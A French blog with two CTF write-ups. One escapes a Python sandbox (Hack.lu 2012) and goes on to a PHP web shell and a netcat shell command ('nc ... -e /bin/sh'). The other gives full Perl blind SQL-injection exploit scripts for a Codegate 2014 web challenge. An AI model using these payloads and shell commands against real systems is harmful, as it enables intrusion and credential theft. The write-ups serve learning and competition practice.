2014/11/15

Python sandbox escape: sortez du bac à sable !

Salut tout le monde!

De passage sur mon blog pour un nouveau papier concernant quelque chose sur  lequel je serais emmené à travailler bien plus en profondeur: l'évasion de sandbox !

Pour ceux qui ne comprendraient pas le fait de jouer dans des bacs à sable python, je vous remmène à l'actualité de la semaine passé avec une MAGNIFIQUE publication de l'équpe de chez G-DATA (salut à RootBSD au passage!)  sur Cuckoo qui travaille lui-même sur une base sandbox en Python (vulnérabilité corrigée dans la foulée sur la version 1.1.1) et la possibilité pour un code malveillant d'en sortir via une variable "buf" mal 'sanitized' comme ceci:


Link vers la publication ici et vers le POC de G-DATA ici .

Bon .. le contexte étant dessiné, passons maintenant à l'article lui-même!
Première chose: avoir une sandbox a pwnd sans quoi on n'irait pas bien loin... j'ai donc cherché sur le net et en ai trouvé 2 sympa.

Ceci dis je n'en aurai retenu qu'une, l'autre m'ayant déjà amusé par le passé et donc voulant aussi m'amuser un peu je me suis dis que celle ci serait plus "fun" à exploiter!

Il s'agit d'un ancien challenge du CTF de la Hack.lu de 2012  (liens en fin d'article) mais qui, pour un débutant comme moi dans le domaine, n'a pas pris une ride alors ... allons-y !

Voici la source de cette sandbox:

  1. #!/usr/bin/python
  2. def make_secure():
  3.     UNSAFE = ['open',
  4.               'file',
  5.               'execfile',
  6.               'compile',
  7.               'reload',
  8.               '__import__',
  9.               'eval',
  10.               'locals',
  11.   'input']
  12.                      
  13.     for func in UNSAFE:
  14.         del __builtins__.__dict__[func]
  15. from re import findall
  16. # Suppression de la liste des builtins dangeureux:
  17. make_secure()
  18. print 'Go Ahead, Expoit me >;D'

  19. while True:
  20.     try:
  21.         # Lis l entree utilisateur jusqu au premier caractere vide (espace):
  22.         inp = findall('\S+', raw_input())[0]
  23.         a = None
  24.         # Attribue a la variable l output de l execution:
  25.         exec 'a=' + inp
  26.         print 'Return Value:', a
  27.     except Exception, e:
  28.         print 'Exception:', e


(Rappelons qu'ici l'objectif sera de lire un fichier nommé "FileToRead" et placé dans le répertoire courant.)

Tout d'abord que voyons nous?
On remarque vite qu'une fonction est appelée afin de nous empêcher d'accéder à certains __builtins__() qui sont, pour rappel, des fonctions prédéfinies de Python.

Dommage, pas de eval(), pas de possibilité d'appeler __import__() ni open() enfin bref que du bonheur !
A présent j'ai deux approche en tête mais ne vais me consacrer qu'à une qui m'a particulièrement plûe et que je vais donc dérouler à présent.

ne pouvant me reposer sur mes __builtins__() préférés, je vais commencer par rapidement faire une évaluation des possibilités qui s'offrent tout de même à moi et après quelques tests (certains visible dans le screenshot suivant) me voila arrivé à ceci:




Bon, ici que voyons-nous concrètement?
Et bien pas mal de choses intéressantes comme surtout l'appel aux sous-classes qui est possible (pourquoi ne le serait-il pas??) et bien sûr le builtin dir() qui nous retourne une liste complète des attributs disponibles!

Dans ce cas cherchons donc si quelque chose existe et se trouve disponible pour arriver à sortir de cette sandbox et aller lire notre fichier comme nous le ferions avec le builtin file() (ne pas confondre avec __file__).

Oui mais alors comment faire? Simple! Allons ici lire la doc Python afin d'avoir quelques précisions et idées !

L'attribut "bases" peux nous aider, en effet, ce dernier retourne les classes de base d'un objet de classe (sous classe), testons et creusons:


WOOT!!

Bon la je sais pas vous mais moi en voyant ça j'me dis que la sortie est proche réfléchissons et surtout continuons avec, en premier lieu, des tests en local sur l'interpréteur Python d'autant que nous voyons dans cette magnifique liste un certain "type file" et ça mes amis ça vaut de l'or !

L'idée sera alors de tester cette classe en utilisant son index.
Afin donc de ne pas le compter à la mano, utilisons bêtement une petite boucle et le tour sera alors joué:


Ok... à présent nous avons: la classe et son index donc testons notre idée en local et si cette dernière fonctionne, sur notre sandbox afin d'aller jouer hors du bac à sable:



Et bien, qu'est-ce que je disais!?
La sortie semble toute proche et l'heure de vérité a sonné: libérons nous de nos chaînes !!


Pour aller plus loin


A partir d'ici nous ne sommes plus gêné et sortons de la sandbox alors il serait temps de, par exemple, s'octroyer un petit shell qu'en dites vous ?

(on peux aussi modifier des configurations réseau ou autre, cela dépendra de votre imagination, de vos compétences, de vos objectifs mais surtout des permissions)

J'illustrerais cela avec la compromission du système via son site web avec obtention d'un web shell puis d'un reverse shell via NC (si un IPTABLES était présent j'aurais tout aussi bien pût mettre en pratique mon firewall bypassing et maintenir un accès furtif persistant via l'option -9 ou --listen-signature sous HPING3).

Ici mon idée sera simple: injecter du code php dans la page d'index index.php avec un paramètre passé en GET puis transmis à system() pour  obtenir mon web shell:



Bon il est évident que nous avons un léger soucis avec les espaces, qu'à cela ne tienne, utilisons autre chose:



Okay il semble que cette fois-ci notre code malicieux ait bien été injecté dans la page souhaitée testons et par la même voyons si notre reverse shell peux être mis en place!


Magnifique!!
A présent voyons si notre nc -nvv -l -p 31337 -e /bin/sh fonctionne:


Et voilà !!  Mission accomplie avec succès: "from sandbox to reverse shell" , bien sûr tout  cela peut encore être amélioré (FW bypass, priv-esc ..) mais ce n'est pas le sujet ici.

Vous avez donc bien plus ici qu'un simple write-up tel qu'on en trouve concernant ce type de challenge sur le net avec, je l'espère, une meilleure visibilité sur l'impact que peux avoir une évasion de sandbox mais aussi comment concrètement cela se passe!
Nos seules limites? Nos compétences et notre imagination...comme toujours...

Liens utiles et qui m'ont énormément appris:
http://zolmeister.com/2013/05/escaping-python-sandbox.html
https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

A bientôt pour de nouvelles aventures et ... sortez couvert !! :D

2014/02/24

[Write Up] 120 (Codegate web 500)

Salut !
Alors oui, le week end dernier avait lieu les quals pour le codegate et comme chaque années nos amis Coréens nous ont réalisé un festival de challs avec un level plutôt appréciable loiiiiin du monde de l'entreprise ET C'EST TANT MIEUX!! :p

Ainsi je me lance dans le write up d'un challenge web super simpa et trés technique qui m'a beaucoup plus: 120, le web 500!

1-Présentation: 
Le challenge vous donnait un link http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php sur lequel se trouvait juste un champ password et un joli texte indiquant "Time Left 120".

Vous aurez bien compris que le password n'étant pas fourni ... no comment.
A coté de ça, une fois n'est pas coutume nous avions accès au code source et honnêtement tant mieux ! lol
(je vous paste ça sur pastebin avec un lien ici au cas ou..)

  1. session_start();
  2.  
  3. $link = @mysql_connect('localhost', '', '');
  4. @mysql_select_db('', $link);
  5.  
  6. function RandomString()
  7. {
  8.   $filename = "smash.txt";
  9.   $f = fopen($filename, "r");
  10.   $len = filesize($filename);
  11.   $contents = fread($f, $len);
  12.   $randstring = '';
  13.   while( strlen($randstring)<30 ){
  14.     $t = $contents[rand(0, $len-1)];
  15.     if(ctype_lower($t)){
  16.     $randstring .= $t;
  17.     }
  18.   }
  19.   return $randstring;
  20. }
  21.  
  22. $max_times = 120;
  23.  
  24. if ($_SESSION['cnt'] > $max_times){
  25.   unset($_SESSION['cnt']);
  26. }
  27.  
  28. if ( !isset($_SESSION['cnt'])){
  29.   $_SESSION['cnt']=0;
  30.   $_SESSION['password']=RandomString();
  31.  
  32.   $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  33.   @mysql_query($query);
  34.  
  35.   $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  36.   @mysql_query($query);
  37. }
  38. $left_count = $max_times-$_SESSION['cnt'];
  39. $_SESSION['cnt']++;
  40.  
  41. if ( $_POST['password'] ){
  42.  
  43.   if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
  44.     @mysql_close($link);
  45.     exit("Wrong access");
  46.   }
  47.  
  48.   $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  49.   $q = @mysql_query($query);
  50.   $res = @mysql_fetch_array($q);
  51.   if($res['ip']==$_SERVER['REMOTE_ADDR']){
  52.     @mysql_close($link);
  53.     exit("True");
  54.   }
  55.   else{
  56.     @mysql_close($link);
  57.     exit("False");
  58.   }
  59. }
  60.  
  61. @mysql_close($link);
  62. ?>
  63. .... code html du formulaire ...

Pour la suite je reprendrait ce qui nous intéresse mais je vous recommande la lecture de ce code pour une meilleure compréhension.

On peux d'hors et déja se douter qu'on ne sait pas encore comment mais ce password "magique" il nous le faut !

2-Analyse de code:
Afin de gagner du temps (oui j'ai la flemme d'écrire aussi...) nous allons ici lister la vulnérabilité mais aussi et surtout les moyens mis en oeuvre pour tenter de sécuriser ce code.


a) Les sécurités mise en oeuvre:
la première qui saute aux yeux se trouve en ligne 44:

  1. if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
  2.     @mysql_close($link);
  3.     exit("Wrong access");
  4. }

La à première vue à voir les mots matched ET les / * on se dit que le bypass est pas forcément gagné ... on reviendra dessus par la suite ;-).

Viens ensuite une autre problématique qui est les 120 requêtes autorisées!
Oui, si on regarde attentivement la ligne 25 on vois que si on dépasse la limite des 120 alors notre SESSIONID sera réinitialisé et donc le password sera changé par appel à la fonction RandomString().

  1. $max_times = 120;
  2.  
  3. if ($_SESSION['cnt'] > $max_times){
  4.   unset($_SESSION['cnt']);
  5. }
  6.  
  7. if ( !isset($_SESSION['cnt'])){
  8.   $_SESSION['cnt']=0;
  9.   $_SESSION['password']=RandomString();

A cela viendra s'ajouter la vérification d'ip qui dans le cas d'une exploitation en bind aura un rôle primordial car seul une fois cette condition supplémentaire remplis la fonction renverra True, tout les reste passera systématiquement en False ce qui, j'ai pu le constater est pas forcément si évident notamment a cause des url_encode:

  1.   if($res['ip']==$_SERVER['REMOTE_ADDR']){
  2.     @mysql_close($link);
  3.     exit("True");
  4.   }
  5.   else{
  6.     @mysql_close($link);
  7.     exit("False");
  8.   }


b) Vulnérabilité: 
elle se trouve ligne 49:

  1.   $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";

mais pas que!
En effet, l'entrée utilisateur n'est pas du tout bien gérée, elle n'est pas "sanitized".
Bon c'est bien beau tout ça mais alors ou est l'autre vulnérabilité me direz vous ?

Tout simplement dans la fonction eregi utilisé pour matcher les patterns, souvenez vous :
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])
à première vue RAS et pourtant.. la page du manuel php indique qu'elle n'est pas case sensitive ... ok mais juste en dessous on peux y lire un gros WARNING nous indiquant qu'elle est deprecated depuis php 5.3.0 et qu'il est recommandé de ne pas l'employer!
Une simple recherche et on tombe sur la liste dediffusion de PHP et au bun #44366 que voit-on ?
Qu'eregi se bypass avec un simple Null Byte poisoning! \o/


3-Exploitation:
Une fois ces informations récupérées on peux alors commencer à travailler notre SQLi et trés vite nous récupérions des résultats notamment grâce à un script fait à l'arrache par l'ami korigan (je ne donnerai pas le code ici ne lui en ayant pas parlé pi il serait pas fier je pense :P).

Ensuite chacun (on s'est retrouvé à 3 sur ce challenge) y aura été de son propre exploit : bash , python, perl ..
Forcément ce blog étant miens je ne posterais que mon code mais je précise que sa vue peux choquer: ce coup ci je n'ai pas fait le ménage et il sera tel qu'il était lors du ctf !
Bref, le disclaimer fait continuons!

les premiers essais démontrait clairement que bien trop de requests étaient faites et donc impossible d'espérer s'authentifier grâce à ce sploit:

  1. #!/usr/bin/perl -Uw
  2.  
  3. use 5.0.10;
  4. use Encode;
  5. use IO::File;
  6. use URL::Encode qw(url_decode_utf8 url_encode_utf8);
  7. use Data::Dumper;
  8. use HTTP::Cookies;
  9. use LWP::UserAgent;
  10.  
  11.  
  12. BEGIN:
  13.  
  14.  
  15. #Filtrage en place:
  16. #    "replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*"
  17.  
  18. ## si besoin d'un biscuit...
  19. #
  20. my $cookie_jar = HTTP::Cookies->new(
  21.   file     => "cookies.txt",
  22. );
  23.  
  24. my $UserAgent = LWP::UserAgent->new;
  25. $UserAgent->cookie_jar( $cookie_jar );
  26.  
  27.  
  28. ## Get Password:
  29. my $Arg=1;
  30. my $Flag;
  31. for (my $i=32;$i <=126;$i++){  // englobe min, specials char, MAJ, number
  32.                
  33.         my $getpass = url_decode_utf8("'or if(ascii(substr(password,$Arg,1))=$i,1,0) or '0-- -");
  34.         #print("[*]Trying post data: $getpass\n");
  35.         my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  36.  
  37.         my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
  38.         my $content  = $response->decoded_content();
  39.  
  40.         if($content =~ /True/i){
  41.                 my $found=chr($i);
  42.                 $Flag.=$found;
  43.                 print("[*]FLAG: $Flag\n");
  44.                 $Arg+=1;
  45.                 $i=32;
  46.         }
  47. }
  48.  
  49. my $fh = IO::File->new("> WEB500_data");
  50. if (defined $fh) {
  51.     print $fh $Flag;
  52.     $fh->close;
  53. }

  54. __END__


En effet, hors mis la saleté (j'avais prévenu) on comprend vite que le scope testé est trop grand et surtout qu'un peu de dichotomie ferait sûrement gagner en perf !

Concernant le scope j'ai eu l'idée de relire le code et .. OMG!
Je pouvait déja bien le réduire (en gardant les specials chars même si j'avais de gros doute sur le fait qu'ils soient présents dans le pass auquel cas on aurait pu relancer le script afin d'avoir un script full lower-case mais bon).
La fonction de génération du pass était explicite:

  1. function RandomString()
  2. {
  3.   $filename = "smash.txt";
  4.   $f = fopen($filename, "r");
  5.   $len = filesize($filename);
  6.   $contents = fread($f, $len);
  7.   $randstring = '';
  8.   while( strlen($randstring)<30 ){
  9.     $t = $contents[rand(0, $len-1)];
  10.     if(ctype_lower($t)){
  11.     $randstring .= $t;
  12.     }
  13.   }
  14.   return $randstring;
  15. }

Il s'agirait donc de lettres randomisées formant une chaîne de 30 chars et tout en lower-case!
Vite, réadaptation du script avec un peu de dichotomie:
-Gain de temps,
-Gain de perf énorme
-Division du nombre de requests faites par 6 !

Voici le code "brut de décoffrage désolé, je n'ai pas pris le temps de faire de la cosmétique et je l'ai dev' dans l'urgence car lh'aure avançait... ( je mettrais un lien en fin d'article pour avoir toutes les ressources pour ceux que ça intéresse):

  1. #!/usr/bin/perl
  2.  
  3. use 5.010;
  4. use Encode;
  5. use IO::File;
  6. use Data::Dumper;
  7. use HTTP::Cookies;
  8. use LWP::UserAgent;
  9. use URL::Encode qw(url_decode_utf8 url_encode_utf8);
  10.  
  11.  
  12. BEGIN:
  13.  
  14.  
  15. my $cookie_jar = HTTP::Cookies->new(
  16.   file     => "cookies.txt",
  17. );
  18.  
  19. my $UserAgent = LWP::UserAgent->new;
  20. $UserAgent->cookie_jar( $cookie_jar );
  21.  
  22.  
  23.  
  24. my $Arg=1;
  25. my $Flag;
  26.  
  27.  
  28. for(my $i=1;$i<=30;$i++){
  29.        
  30.         #Step1: > 65 (A)
  31.         my $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>65,1,0) or '0-- -");
  32.         my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  33.         my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
  34.         my $content  = $response->decoded_content();
  35.  
  36.         if($content =~ /True/i){
  37.                 #print("Char $i > 65\n");
  38.                 # de 91 a 125
  39.                 $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>105,1,0) or '0-- -");
  40.                 $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  41.                 $response = $UserAgent->post( $Url, { 'password' => $getpass } );
  42.                 $content  = $response->decoded_content();
  43.                
  44.                 if($content =~ /True/i){
  45.                         #print("Char $i > 105\n");
  46.                         GetValue(106, 125, $i);
  47.                         next;
  48.                 }
  49.                 else{
  50.                         #print("Char $i < 105\n");
  51.                         GetValue(91, 105, $i);
  52.                         next;
  53.                 }
  54.         }
  55.         else{
  56.                 #print("Char $i < 65\n");
  57.                 # de 33 a 64
  58.                 $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>47,1,0) or '0-- -");
  59.                 $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  60.                 $response = $UserAgent->post( $Url, { 'password' => $getpass } );
  61.                 $content  = $response->decoded_content();
  62.                
  63.                 if($content =~ /True/i){
  64.                         #print("Char $i > 47\n");
  65.                         GetValue(48, 64, $i);
  66.                         next;
  67.                 }
  68.                 else{
  69.                         #print("Char $i < 47\n");
  70.                         GetValue(33, 47, $i);
  71.                         next;
  72.                 }
  73.         }
  74. }
  75.  
  76.  
  77. #Exemple d'appel de fonction:
  78. #GetValue(97, 120, 1);
  79.  
  80. my $fh = IO::File->new("> WEB500_data");
  81. if (defined $fh) {
  82.     print $fh $Flag;
  83.     $fh->close;
  84. }
  85.  
  86.  
  87. $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  88. $response = $UserAgent->post( $Url, { 'password' => $Flag } );
  89. $content  = $response->decoded_content();
  90. print "\n    [Sending $Flag as password] ...\n====== Result :\n    $content\n";
  91.  
  92.  
  93. sub GetValue{
  94.         my ($start, $end, $position)=@_;
  95.        
  96.         for ($start;$start <=$end;$start++){
  97.                
  98.                 my $getpass = url_decode_utf8("'or if(ascii(substr(password,$position,1))=$start,1,0) or '0-- -");
  99.                 my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
  100.                 # DEBBUG:
  101.                 # print("[*]Trying post data: $getpass\n");
  102.                 my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
  103.                 my $content  = $response->decoded_content();
  104.  
  105.                 if($content =~ /True/i){
  106.                         my $found=chr($start);
  107.                         $Flag.=$found;
  108.                         print("[*]FLAG: $Flag\n");
  109.                         return;
  110.                 }
  111.         }
  112. return($Flag);
  113. }

  114. __END__

Le script lançait on récupérait rapidement les flags et la request d'authentification était envoyée:

Il était H-10 avant la fin du CTF au moment ou je lançait cet exploit et hélas encore mal optimisé notamment dans les requêtes SQL, il n'aura pas pu permettre de validé, une fois de plus ...

Cependant c'est une excellente base de travail il me semble , ce CTF de part ces épreuves et pas que celle-ci m'aura encore une fois tiré vers le haut alros j'espère que le write-up vous aura plu et pour finir en beauté vous trouverez en fin d'article des liens y compris vers le write up de ce challenge.

En réalité il était bien plus complexe qu'il n'y parait mais en toute honnêteté avec un peu de temps en plus, on le tombais et j'en suis convaincu !

Merci à vous amis lecteur ainsi qu'aux membre de l'équipe sec0d !!


Write-up de 120 par 0xBADCA7
Exploit perl par kmkz
code php + html du challenge
Bug #44366 de PHP concernant le null byte poisoning / eregi bypassing